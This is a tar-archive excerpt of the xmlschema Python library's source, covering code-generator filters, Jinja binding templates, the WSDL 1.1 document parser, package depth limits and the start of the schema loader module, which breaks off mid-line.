fp: fp.write(result) rendered.append(str(output_file)) return rendered def map_type(self, obj): """ Maps an XSD type to a type declaration of the target language. This method is registered as filter with a name dependant from the language name (eg. c_type). :param obj: an XSD type or another type-related declaration as \ an attribute or an element. :return: an empty string for non-XSD objects. """ if isinstance(obj, XsdType): xsd_type = obj elif isinstance(obj, (XsdAttribute, XsdElement)): xsd_type = obj.type else: return '' try: return self.types_map[xsd_type.name] except KeyError: try: return self.types_map[xsd_type.base_type.name] except (KeyError, AttributeError): if xsd_type.is_complex(): return self.types_map[xsd_qname('anyType')] else: return self.types_map[xsd_qname('anySimpleType')] @staticmethod @filter_method def name(obj, unnamed='none'): """ Get the unqualified name of the provided object. Invalid chars for identifiers are replaced by an underscore. :param obj: an XSD object or a named object or a string. :param unnamed: value for unnamed objects. Defaults to 'none'. :return: str """ try: name = obj.local_name except AttributeError: try: obj = obj.name except AttributeError: pass if not isinstance(obj, str): return unnamed try: if obj[0] == '{': _, name = obj.split('}') elif ':' in obj: prefix, name = obj.split(':') if NCNAME_PATTERN.match(prefix) is None: return '' else: name = obj except (IndexError, ValueError): return '' else: if not isinstance(name, str): return '' if NCNAME_PATTERN.match(name) is None: return unnamed return name.replace('.', '_').replace('-', '_') @filter_method def qname(self, obj, unnamed='none', sep='__'): """ Get the QName of the provided object. Invalid chars for identifiers are replaced by an underscore. :param obj: an XSD object or a named object or a string. :param unnamed: value for unnamed objects. Defaults to 'none'. :param sep: the replacement for colon. Defaults to double underscore. :return: str """ try: qname = obj.prefixed_name except AttributeError: try: obj = obj.name except AttributeError: pass if not isinstance(obj, str): return unnamed try: if obj[0] == '{': namespace, local_name = obj[1:].split('}') for prefix, uri in self.schema.namespaces.items(): if uri == namespace: qname = f'{prefix}:{local_name}' break else: qname = local_name else: qname = obj except IndexError: return '' except ValueError: return unnamed if not qname or QNAME_PATTERN.match(qname) is None: return unnamed return qname.replace('.', '_').replace('-', '_').replace(':', sep) @filter_method def namespace(self, obj): """Get the namespace URI of the provided object.""" try: namespace = obj.target_namespace except AttributeError: if isinstance(obj, datatypes.QName): return obj.namespace elif not isinstance(obj, str): return '' try: if obj[0] == '{': namespace, _ = obj[1:].split('}') return namespace elif ':' in obj: prefix, _ = obj.split(':') return self.schema.namespaces.get(prefix, '') else: return '' except (IndexError, ValueError): return '' else: return namespace if isinstance(namespace, str) else '' @staticmethod @filter_method def type_name(obj, suffix=None, unnamed='none'): """ Get the unqualified name of the XSD type. Invalid chars for identifiers are replaced by an underscore. :param obj: an instance of (XsdType|XsdAttribute|XsdElement). :param suffix: force a suffix. For default removes '_type' or 'Type' suffixes. :param unnamed: value for unnamed XSD types. Defaults to 'none'. :return: str """ if isinstance(obj, XsdType): name = obj.local_name or unnamed elif isinstance(obj, (XsdElement, XsdAttribute)): name = obj.type.local_name or unnamed else: name = unnamed if name.endswith('Type'): name = name[:-4] elif name.endswith('_type'): name = name[:-5] if suffix: name = f'{name}{suffix}' return name.replace('.', '_').replace('-', '_') @staticmethod @filter_method def type_qname(obj, suffix=None, unnamed='none', sep='__'): """ Get the unqualified name of the XSD type. Invalid chars for identifiers are replaced by an underscore. :param obj: an instance of (XsdType|XsdAttribute|XsdElement). :param suffix: force a suffix. For default removes '_type' or 'Type' suffixes. :param unnamed: value for unnamed XSD types. Defaults to 'none'. :param sep: the replacement for colon. Defaults to double underscore. :return: str """ if isinstance(obj, XsdType): qname = obj.prefixed_name or unnamed elif isinstance(obj, (XsdElement, XsdAttribute)): qname = obj.type.prefixed_name or unnamed else: qname = unnamed if qname.endswith('Type'): qname = qname[:-4] elif qname.endswith('_type'): qname = qname[:-5] if suffix: qname = f'{qname}{suffix}' return qname.replace('.', '_').replace('-', '_').replace(':', sep) @staticmethod @filter_method def sort_types(xsd_types, accept_circularity=False): """ Returns a sorted sequence of XSD types usable for building type declarations. :param xsd_types: a sequence with XSD types. :param accept_circularity: if set to `True` circularities \ are accepted. Defaults to `False`. :return: a list with ordered types. """ if not isinstance(xsd_types, (list, tuple)): try: xsd_types = list(xsd_types.values()) except AttributeError: pass assert all(isinstance(x, XsdType) for x in xsd_types) ordered_types = [x for x in xsd_types if x.is_simple()] ordered_types.extend(x for x in xsd_types if x.is_complex() and x.has_simple_content()) unordered = {x: [] for x in xsd_types if x.is_complex() and not x.has_simple_content()} for xsd_type in unordered: for e in xsd_type.content.iter_elements(): if e.type in unordered: unordered[xsd_type].append(e.type) while unordered: deleted = 0 for xsd_type in xsd_types: if xsd_type in unordered: if not unordered[xsd_type]: del unordered[xsd_type] ordered_types.append(xsd_type) deleted += 1 for xsd_type in unordered: unordered[xsd_type] = [x for x in unordered[xsd_type] if x in unordered] if not deleted: if not accept_circularity: raise ValueError(f"circularity found between {list(unordered)!r}") ordered_types.extend(list(unordered)) break assert len(xsd_types) == len(ordered_types) return ordered_types def is_derived(self, xsd_type, *names, derivation=None): """ Returns `True` if the argument XSD type is derived from any of other types expressed by name, otherwise returns `False`. :param xsd_type: an XsdComplexType/XsdSimpleType instance. :param names: positional argument with the names of other \ XSD types. :param derivation: the type of derivation, that can be \ *extension* or *restriction*, or both with a space separator. \ If no value is provided it only checks if it is derived from \ or if it is the XSD type itself. """ for type_name in names: if not isinstance(type_name, str) or not type_name: continue # pragma: no cover elif type_name[0] == '{': other = self.schema.maps.types.get(type_name) else: try: expanded_name = self.schema.resolve_qname(type_name) except xmlschema.XMLSchemaException: other = self.schema.types.get(type_name) else: other = self.schema.maps.types.get(expanded_name) if other is None: other = self.schema.types.get(type_name) if other is not None and xsd_type.is_derived(other, derivation): return True return False @test_method def derivation(self, xsd_type, *names): return self.is_derived(xsd_type, *names) @test_method def extension(self, xsd_type, *names): return self.is_derived(xsd_type, *names, derivation='extension') @test_method def restriction(self, xsd_type, *names): return self.is_derived(xsd_type, *names, derivation='restriction') @staticmethod @test_method def multi_sequence(xsd_type): try: return any(e.is_multiple() for e in xsd_type.content.iter_elements()) except AttributeError: return False class PythonGenerator(AbstractGenerator): """A Python code generator for XSD schemas.""" formal_language = 'Python' searchpaths = ['templates/python/'] builtin_types = { 'string': 'str', 'decimal': 'decimal.Decimal', 'float': 'float', 'double': 'float', 'date': 'datatypes.Date10', 'dateTime': 'datatypes.DateTime10', 'gDay': 'datatypes.GregorianDay', 'gMonth': 'datatypes.GregorianMonth', 'gMonthDay': 'datatypes.GregorianMonthDay', 'gYear': 'datatypes.GregorianYear10', 'gYearMonth': 'datatypes.GregorianYearMonth10', 'time': 'datatypes.Time', 'duration': 'datatypes.Duration', 'QName': 'datatypes.QName', 'NOTATION': 'datatypes.DateTime10', 'anyURI': 'datatypes.AnyURI', 'boolean': 'bool', 'base64Binary': 'datatypes.Base64Binary', 'hexBinary': 'datatypes.HexBinary', 'normalizedString': 'str', 'token': 'str', 'language': 'str', 'Name': 'str', 'NCName': 'str', 'ID': 'str', 'IDREF': 'str', 'ENTITY': 'str', 'NMTOKEN': 'str', 'integer': 'int', 'long': 'int', 'int': 'int', 'short': 'int', 'byte': 'int', 'nonNegativeInteger': 'int', 'positiveInteger': 'int', 'unsignedLong': 'int', 'unsignedInt': 'int', 'unsignedShort': 'int', 'unsignedByte': 'int', 'nonPositiveInteger': 'int', 'negativeInteger': 'int', # XSD 1.1 built-in types 'dateTimeStamp': 'datatypes.DateTimeStamp10', 'dayTimeDuration': 'datatypes.DayTimeDuration', 'yearMonthDuration': 'datatypes.YearMonthDuration', } ����������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/templates/���������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0020752�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/templates/python/��������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0022273�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/templates/python/bindings.py.jinja���������������������������������0000664�0000000�0000000�00000001745�15020401055�0025543�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # Auto-generated code: don't edit this file # """ Sample of XML data bindings for schema {{ schema.name }} """ import xmlschema from xmlschema.dataobjects import DataElement, DataBindingMeta {% if schema.target_namespace -%} __NAMESPACE__ = "{{ schema.target_namespace }}" {%- endif %} {% if schema.XSD_VERSION == '1.0' -%} schema = xmlschema.XMLSchema10("{{ schema.name }}") {%- else -%} schema = xmlschema.XMLSchema11("{{ schema.name }}") {%- endif -%} {# Bindings for global elements #} {% for xsd_element in schema.elements.values() %} class {{ xsd_element|name|capitalize }}Binding(DataElement, metaclass=DataBindingMeta): xsd_element = schema.elements['{{ xsd_element.local_name }}'] {% endfor %} ���������������������������xmlschema-4.1.0/xmlschema/extras/templates/python/sample.py.jinja�����������������������������������0000664�0000000�0000000�00000002134�15020401055�0025220�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # Auto-generated code: don't edit this file # """ Sample of XSD generated code using test PythonGenerator class. """ import xmlschema {% if schema.target_namespace -%} __NAMESPACE__ = "{{ schema.target_namespace }}" {%- endif %} # # Schema types # {#- Render global types #} {% for xsd_type in ( schema.types.values()|sort_types ) %} class {{ xsd_type|name }}: content_type = '{{ xsd_type.content_type_label }}' {% endfor %} # # Schema elements # {#- Render global elements #} {% for xsd_element in schema.elements.values() %} class {{ xsd_element|name|capitalize }}: {% if xsd_element.type.is_global() -%} xsd_type = {{ xsd_element.type|name }} {%- elif xsd_element.type.is_simple() -%} xsd_type = {{ xsd_element.type.root_type|name }} {%- else %} pass {%- endif %} {% endfor %}������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/extras/wsdl.py������������������������������������������������������������0000664�0000000�0000000�00000057337�15020401055�0020316�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2023, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors from xmlschema.exceptions import XMLSchemaException, XMLSchemaValueError from xmlschema.names import XSD_NAMESPACE, WSDL_NAMESPACE, SOAP_NAMESPACE, \ XSD_ANY_TYPE, XSD_SCHEMA from xmlschema.utils.qnames import get_qname, local_name, get_extended_qname, \ get_prefixed_qname from xmlschema.utils.urls import normalize_url from xmlschema.locations import SCHEMAS_DIR, get_locations from xmlschema.documents import SCHEMA_KWARGS, XmlDocument from xmlschema.validators import XMLSchemaBase, XMLSchema10 # WSDL 1.1 global declarations WSDL_IMPORT = '{%s}import' % WSDL_NAMESPACE WSDL_TYPES = '{%s}types' % WSDL_NAMESPACE WSDL_MESSAGE = '{%s}message' % WSDL_NAMESPACE WSDL_PORT_TYPE = '{%s}portType' % WSDL_NAMESPACE WSDL_BINDING = '{%s}binding' % WSDL_NAMESPACE WSDL_SERVICE = '{%s}service' % WSDL_NAMESPACE # Other WSDL tags WSDL_PART = '{%s}part' % WSDL_NAMESPACE WSDL_PORT = '{%s}port' % WSDL_NAMESPACE WSDL_INPUT = '{%s}input' % WSDL_NAMESPACE WSDL_OUTPUT = '{%s}output' % WSDL_NAMESPACE WSDL_FAULT = '{%s}fault' % WSDL_NAMESPACE WSDL_OPERATION = '{%s}operation' % WSDL_NAMESPACE # WSDL SOAP Extensions SOAP_BINDING = '{%s}binding' % SOAP_NAMESPACE SOAP_OPERATION = '{%s}operation' % SOAP_NAMESPACE SOAP_BODY = '{%s}body' % SOAP_NAMESPACE SOAP_FAULT = '{%s}fault' % SOAP_NAMESPACE SOAP_HEADER = '{%s}header' % SOAP_NAMESPACE SOAP_HEADERFAULT = '{%s}headerfault' % SOAP_NAMESPACE SOAP_ADDRESS = '{%s}address' % SOAP_NAMESPACE class WsdlParseError(XMLSchemaException, SyntaxError): """An error during parsing of a WSDL document.""" class Wsdl11Maps: def __init__(self, wsdl_document): self.wsdl_document = wsdl_document self.imports = {} self.messages = {} self.port_types = {} self.bindings = {} self.services = {} def clear(self): self.imports.clear() self.messages.clear() self.port_types.clear() self.bindings.clear() self.services.clear() class WsdlComponent: def __init__(self, elem, wsdl_document): self.elem = elem self.wsdl_document = wsdl_document try: self.name = get_qname(wsdl_document.target_namespace, elem.attrib['name']) except KeyError: self.name = None def __repr__(self): return '%s(name=%r)' % (self.__class__.__name__, self.prefixed_name) def get(self, name): return self.elem.get(name) @property def attrib(self): return self.elem.attrib @property def local_name(self): if self.name: return local_name(self.name) @property def prefixed_name(self): if self.name: return get_prefixed_qname(self.name, self.wsdl_document.namespaces) def map_qname(self, qname): return get_prefixed_qname(qname, self.wsdl_document.namespaces) def unmap_qname(self, qname): return get_extended_qname(qname, self.wsdl_document.namespaces) def _parse_reference(self, elem, attribute_name): try: return self.unmap_qname(elem.attrib[attribute_name]) except KeyError: return # a missing attribute is already caught by XSD validator class WsdlMessage(WsdlComponent): def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) self.parts = {} xsd_elements = wsdl_document.schema.maps.elements xsd_types = wsdl_document.schema.maps.types for child in elem.iterfind(WSDL_PART): part_name = child.get('name') if part_name is None: continue # Ignore, missing name is already caught by XSD validator elif part_name in self.parts: msg = "duplicated part {!r} for {!r}" wsdl_document.parse_error(msg.format(part_name, self)) try: element_attr = child.attrib['element'] except KeyError: pass else: if 'type' in child.attrib: msg = "ambiguous binding with both 'type' and 'element' attributes" wsdl_document.parse_error(msg) element_name = get_extended_qname(element_attr, wsdl_document.namespaces) try: self.parts[part_name] = xsd_elements[element_name] except KeyError: self.parts[part_name] = xsd_types[XSD_ANY_TYPE] msg = f"missing schema element {element_name!r}" wsdl_document.parse_error(msg) continue # pragma: no cover try: type_attr = child.attrib['type'] except KeyError: msg = "missing both 'type' and 'element' attributes" wsdl_document.parse_error(msg) else: type_name = get_extended_qname(type_attr, wsdl_document.namespaces) try: self.parts[part_name] = xsd_types[type_name] except KeyError: self.parts[part_name] = xsd_types[XSD_ANY_TYPE] msg = f"missing schema type {type_name!r}" wsdl_document.parse_error(msg) class WsdlPortType(WsdlComponent): def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) self.operations = {} for child in elem.iterfind(WSDL_OPERATION): operation_name = child.get('name') if operation_name is None: continue # Ignore, missing name is already caught by XSD validator operation = WsdlOperation(child, wsdl_document) key = operation.key if key in self.operations: msg = "duplicated operation {!r} for {!r}" wsdl_document.parse_error(msg.format(operation_name, self)) self.operations[key] = operation class WsdlOperation(WsdlComponent): input = output = None soap_operation = None def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) self.faults = {} input_child = elem.find(WSDL_INPUT) if input_child is not None: self.input = WsdlInput(input_child, wsdl_document) output_child = elem.find(WSDL_OUTPUT) if output_child is not None: self.output = WsdlOutput(output_child, wsdl_document) for fault_child in elem.iterfind(WSDL_FAULT): fault = WsdlFault(fault_child, wsdl_document) if fault.name is None: continue elif fault.local_name in self.faults: msg = "duplicated fault {!r} for {!r}" wsdl_document.parse_error(msg.format(fault.local_name, self)) self.faults[fault.local_name] = fault if input_child is not None and output_child is not None: children = self.elem[:] input_pos = children.index(input_child) output_pos = children.index(output_child) if input_pos < output_pos: self.transmission = 'request-response' else: self.transmission = 'solicit-response' elif input_child is not None: self.transmission = 'one-way' elif output_child is not None: self.transmission = 'notification' else: self.transmission = None @property def key(self): return self.local_name, \ getattr(self.input, 'local_name', None), \ getattr(self.output, 'local_name', None) @property def soap_action(self): """The SOAP operation's action URI if any, `None` otherwise.""" if self.soap_operation is not None: return self.soap_operation.get('soapAction') @property def soap_style(self): """The SOAP operation's style if any, `None` otherwise.""" if self.soap_operation is not None: style = self.soap_operation.get('style') return style if style in ('rpc', 'document') else 'document' class WsdlMessageReference(WsdlComponent): message = None def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) message_name = self._parse_reference(elem, 'message') try: self.message = wsdl_document.maps.messages[message_name] except KeyError: if message_name: msg = "unknown message {!r} for {!r}" wsdl_document.parse_error(msg.format(message_name, self)) class WsdlInput(WsdlMessageReference): soap_headers = () soap_body = None class WsdlOutput(WsdlMessageReference): soap_headers = () soap_body = None class WsdlFault(WsdlMessageReference): soap_fault = None class SoapParameter(WsdlComponent): @property def use(self): use = self.elem.get('use') return use if use in ('literal', 'encoded') else None @property def encoding_style(self): return self.elem.get('encodingStyle') @property def namespace(self): return self.elem.get('namespace', '') class SoapBody(SoapParameter): """Class for soap:body bindings.""" def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) self.parts = elem.get('parts', '').split() class SoapFault(SoapParameter): """Class for soap:fault bindings.""" class SoapHeader(WsdlMessageReference, SoapParameter): """Class for soap:header bindings.""" part = None def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) if self.message is not None and 'part' in elem.attrib: try: self.part = self.message.parts[elem.attrib['part']] except KeyError: msg = "missing message part {!r}" wsdl_document.parse_error(msg.format(elem.attrib['part'])) if elem.tag == SOAP_HEADER: self.faults = [SoapHeaderFault(e, wsdl_document) for e in elem.iterfind(SOAP_HEADERFAULT)] class SoapHeaderFault(SoapHeader): """Class for soap:headerfault bindings.""" class WsdlBinding(WsdlComponent): port_type = None """The wsdl:portType definition related to the binding instance.""" soap_binding = None """The SOAP binding element if any, `None` otherwise.""" def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) self.operations = {} if wsdl_document.soap_binding: self.soap_binding = elem.find(SOAP_BINDING) if self.soap_binding is None: msg = "missing soap:binding element for {!r}" wsdl_document.parse_error(msg.format(self)) port_type_name = self._parse_reference(elem, 'type') try: self.port_type = wsdl_document.maps.port_types[port_type_name] except KeyError: msg = "missing port type {!r} for {!r}" wsdl_document.parse_error(msg.format(port_type_name, self)) return # pragma: no cover for op_child in elem.iterfind(WSDL_OPERATION): op_name = op_child.get('name') if op_name is None: continue # Ignore, missing name is already caught by XSD validator input_child = op_child.find(WSDL_INPUT) input_name = None if input_child is None else input_child.get('name') output_child = op_child.find(WSDL_OUTPUT) output_name = None if output_child is None else output_child.get('name') key = op_name, input_name, output_name if key in self.operations: msg = "duplicated operation {!r} for {!r}" wsdl_document.parse_error(msg.format(op_name, self)) try: operation = self.port_type.operations[key] except KeyError: msg = "operation {!r} not found for {!r}" wsdl_document.parse_error(msg.format(op_name, self)) continue # pragma: no cover else: self.operations[key] = operation if wsdl_document.soap_binding: operation.soap_operation = op_child.find(SOAP_OPERATION) if input_child is not None: for body_child in input_child.iterfind(SOAP_BODY): operation.input.soap_body = SoapBody(body_child, wsdl_document) break operation.input.soap_headers = [ SoapHeader(e, wsdl_document) for e in input_child.iterfind(SOAP_HEADER) ] if output_child is not None: for body_child in output_child.iterfind(SOAP_BODY): operation.output.soap_body = SoapBody(body_child, wsdl_document) break operation.output.soap_headers = [ SoapHeader(e, wsdl_document) for e in output_child.iterfind(SOAP_HEADER) ] for fault_child in op_child.iterfind(WSDL_FAULT): fault = WsdlFault(fault_child, wsdl_document) if fault.name and fault.local_name not in operation.faults: msg = "missing fault {!r} in {!r}" wsdl_document.parse_error(msg.format(fault.local_name, operation)) for soap_fault_child in fault_child.iterfind(SOAP_FAULT): fault = SoapFault(soap_fault_child, wsdl_document) if fault.name: try: operation.faults[fault.local_name].soap_fault = fault except KeyError: msg = "missing fault {!r} in {!r}" wsdl_document.parse_error(msg.format(fault.local_name, operation)) @property def soap_transport(self): """The SOAP binding's transport URI if any, `None` otherwise.""" if self.soap_binding is not None: return self.soap_binding.get('transport') @property def soap_style(self): """The SOAP binding's style if any, `None` otherwise.""" if self.soap_binding is not None: style = self.soap_binding.get('style') return style if style in ('rpc', 'document') else 'document' class WsdlPort(WsdlComponent): binding = None soap_location = None def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) binding_name = self._parse_reference(elem, 'binding') try: self.binding = wsdl_document.maps.bindings[binding_name] except KeyError: if binding_name: msg = "unknown binding {!r} for {!r} output" wsdl_document.parse_error(msg.format(binding_name, self)) if wsdl_document.soap_binding: for child in elem.iterfind(SOAP_ADDRESS): self.soap_location = child.get('location') break class WsdlService(WsdlComponent): def __init__(self, elem, wsdl_document): super().__init__(elem, wsdl_document) self.ports = {} for port_child in elem.iterfind(WSDL_PORT): port = WsdlPort(port_child, wsdl_document) port_name = port.local_name if port_name is None: continue # Ignore, missing name is already caught by XSD validator elif port_name in self.ports: msg = "duplicated port {!r} for {!r}" wsdl_document.parse_error(msg.format(port.prefixed_name, self)) else: self.ports[port_name] = port class Wsdl11Document(XmlDocument): """ Class for WSDL 1.1 documents. :param source: a string containing XML data or a file path or a URL or a \ file like object or an ElementTree or an Element. :param schema: additional schema for providing XSD types and elements to the \ WSDL document. Can be a :class:`xmlschema.XMLSchema` instance or a file-like \ object or a file path or a URL of a resource or a string containing the XSD schema. :param cls: class to use for building the schema instance (for default \ :class:`xmlschema.XMLSchema10` is used). :param validation: the XSD validation mode to use for validating the XML document, \ that can be 'strict' (default), 'lax' or 'skip'. :param maps: WSDL definitions shared maps. :param namespaces: is an optional mapping from namespace prefix to URI. :param locations: resource location hints, that can be a dictionary or a \ sequence of couples (namespace URI, resource URL). :param kwargs: other optional arguments for initializing :class:`xmlschema.XMLResource` \ base class or building :class:`xmlschema.XMLSchema` instances provided as keyword arguments. """ target_namespace = '' soap_binding = False def __init__(self, source, schema=None, cls=None, validation='strict', namespaces=None, maps=None, locations=None, base_url=None, **kwargs): if kwargs.get('lazy'): raise WsdlParseError(f"{self.__class__!r} instance cannot be lazy") if maps is not None: self.maps = maps self.schema = maps.wsdl_document.schema else: if cls is None: cls = XMLSchema10 xsd_filepath = f'{SCHEMAS_DIR}WSDL/wsdl.xsd' if isinstance(schema, XMLSchemaBase): self.schema = schema else: self.schema = cls( source=schema or xsd_filepath, base_url=base_url, locations=locations, **{k: v for k, v in kwargs.items() if k in SCHEMA_KWARGS} ) self.schema.add_schema(xsd_filepath, WSDL_NAMESPACE, base_url, True) self.maps = Wsdl11Maps(self) super().__init__( source=source, schema=self.schema, validation=validation, namespaces=namespaces, locations=locations, **kwargs, ) self.target_namespace = self.root.get('targetNamespace', '') self.soap_binding = SOAP_NAMESPACE in self.namespaces.values() self.locations = get_locations(locations, base_url) if self.namespace == XSD_NAMESPACE and \ self.schema.maps.get_schema(source=self.url) is None: self.schema.__class__( source=self, global_maps=self.schema.maps, locations=self.locations, **{k: v for k, v in kwargs.items() if k in SCHEMA_KWARGS} ) return if self is self.maps.wsdl_document: self.maps.clear() self._parse_imports() self._parse_types() self._parse_messages() self._parse_port_types() self._parse_bindings() self._parse_services() def get_arguments(self): """Returns keyword arguments for rebuilding the WSDL document.""" kwargs = super().get_arguments() kwargs['locations'] = self.locations return kwargs @property def imports(self): """WSDL 1.1 imports of XSD or WSDL additional resources.""" return self.maps.imports @property def messages(self): """WSDL 1.1 messages.""" return self.maps.messages @property def port_types(self): """WSDL 1.1 port types.""" return self.maps.port_types @property def bindings(self): """WSDL 1.1 bindings.""" return self.maps.bindings @property def services(self): """WSDL 1.1 services.""" return self.maps.services def parse_error(self, message): if self.validation == 'strict': raise WsdlParseError(message) elif self.validation == 'lax': self.errors.append(WsdlParseError(message)) def _parse_types(self): path = f'{WSDL_TYPES}/{XSD_SCHEMA}' for child in self.root.iterfind(path): source = self.subresource(child) self.schema.__class__(source, global_maps=self.schema.maps) def _parse_messages(self): for child in self.iterfind(WSDL_MESSAGE): message = WsdlMessage(child, self) if message.name in self.maps.messages: self.parse_error(f"duplicated message {message.prefixed_name!r}") else: self.maps.messages[message.name] = message def _parse_port_types(self): for child in self.iterfind(WSDL_PORT_TYPE): port_type = WsdlPortType(child, self) if port_type.name in self.maps.port_types: self.parse_error(f"duplicated port type {port_type.prefixed_name!r}") else: self.maps.port_types[port_type.name] = port_type def _parse_bindings(self): for child in self.iterfind(WSDL_BINDING): binding = WsdlBinding(child, self) if binding.name in self.maps.bindings: self.parse_error(f"duplicated binding {binding.prefixed_name!r}") else: self.maps.bindings[binding.name] = binding def _parse_services(self): for child in self.iterfind(WSDL_SERVICE): service = WsdlService(child, self) if service.name in self.maps.services: self.parse_error(f"duplicated service {service.prefixed_name!r}") else: self.maps.services[service.name] = service def _parse_imports(self): for child in self.root: if child.tag != WSDL_IMPORT: continue namespace = child.get('namespace', '').strip() location = child.get('location', '').strip() locations = [location] if location else [] if namespace in self.locations: locations.extend(self.locations[namespace]) import_error = None for url in locations: try: self.import_namespace(namespace, url, self.base_url) except OSError as err: if import_error is None: import_error = err except SyntaxError as err: msg = f"can't import namespace {namespace!r}: {err}." self.parse_error(msg) except XMLSchemaValueError as err: self.parse_error(err) else: break else: if import_error is not None: msg = "import of namespace {!r} from {!r} failed: {}." self.parse_error(msg.format(namespace, locations, str(import_error))) self.maps.imports[namespace] = None def import_namespace(self, namespace, location, base_url=None): if namespace == self.target_namespace: msg = "namespace to import must be different from the " \ "'targetNamespace' of the WSDL document" raise XMLSchemaValueError(msg) elif namespace in self.maps.imports: return self.maps.imports[namespace] url = normalize_url(location, base_url or self.base_url) wsdl_document = self.__class__( source=url, maps=self.maps, namespaces=self._init_namespaces, validation=self.validation, base_url=self.base_url, allow=self.allow, defuse=self.defuse, timeout=self.timeout, ) if wsdl_document.target_namespace != namespace: msg = 'imported {!r} has an unmatched namespace {!r}' self.parse_error(msg.format(wsdl_document, namespace)) self.maps.imports[namespace] = wsdl_document return wsdl_document �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/limits.py�����������������������������������������������������������������0000664�0000000�0000000�00000001245�15020401055�0017323�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """Package protection limits. Values can be changed after import to set different limits.""" MAX_XML_DEPTH = 9999 """ Maximum depth of XML data. An `XMLSchemaValidationError` is raised if this limit is exceeded. """ MAX_MODEL_DEPTH = 15 """ Maximum XSD model group depth. An `XMLSchemaModelDepthError` is raised if this limit is exceeded. """ �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/loaders.py����������������������������������������������������������������0000664�0000000�0000000�00000047602�15020401055�0017462�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2024, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # import importlib import logging import warnings from operator import attrgetter from types import MappingProxyType from typing import Optional, TYPE_CHECKING from elementpath import XPath2Parser from xmlschema.aliases import SchemaType, SchemaSourceType, LocationsType from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError, \ XMLResourceBlocked, XMLResourceForbidden, XMLResourceError, XMLResourceParseError from xmlschema.locations import get_locations, LOCATIONS, FALLBACK_LOCATIONS from xmlschema.namespaces import NamespaceResourcesMap from xmlschema.translation import gettext as _ from xmlschema.utils.urls import normalize_url from xmlschema.xpath import XsdAssertionXPathParser import xmlschema.names as nm from xmlschema.validators import GlobalMaps, XMLSchemaParseError, \ XMLSchemaIncludeWarning, XMLSchemaImportWarning if TYPE_CHECKING: from xmlschema.validators import XsdGlobals logger = logging.getLogger('xmlschema') base_url_attribute = attrgetter('name') SCHEMA_DECLARATION_TAGS = frozenset( (nm.XSD_IMPORT, nm.XSD_INCLUDE, nm.XSD_REDEFINE, nm.XSD_OVERRIDE) ) class SchemaLoader: """ The default schema loader, that processes an import statement only if the referred namespace is not imported yet. """ schema_class: type[SchemaType] xpath_parser_class: type[XPath2Parser] assertion_parser_class: type[XsdAssertionXPathParser] validation: str = 'strict' fallback_locations = MappingProxyType({**LOCATIONS, **FALLBACK_LOCATIONS}) locations: NamespaceResourcesMap[str] missing_locations: set[str] # Missing or failing resource locations __slots__ = ('maps', 'namespaces', 'locations', 'missing_locations', '__dict__') def __init__(self, maps: 'XsdGlobals', locations: Optional[LocationsType] = None, use_fallback: bool = True, use_xpath3: bool = False): self.maps = maps self.namespaces = maps.namespaces self.validator = maps.validator self.schema_class = self.validator.__class__ self.validation = self.validator.validation self.converter = self.validator.converter self.base_url = self.validator.base_url self.allow = self.validator.source.allow self.defuse = self.validator.source.defuse self.timeout = self.validator.source.timeout self.uri_mapper = self.validator.source.uri_mapper self.opener = self.validator.source.opener self.iterparse = self.validator.source.iterparse self.use_fallback = use_fallback self.use_xpath3 = use_xpath3 self.locations = get_locations(locations, 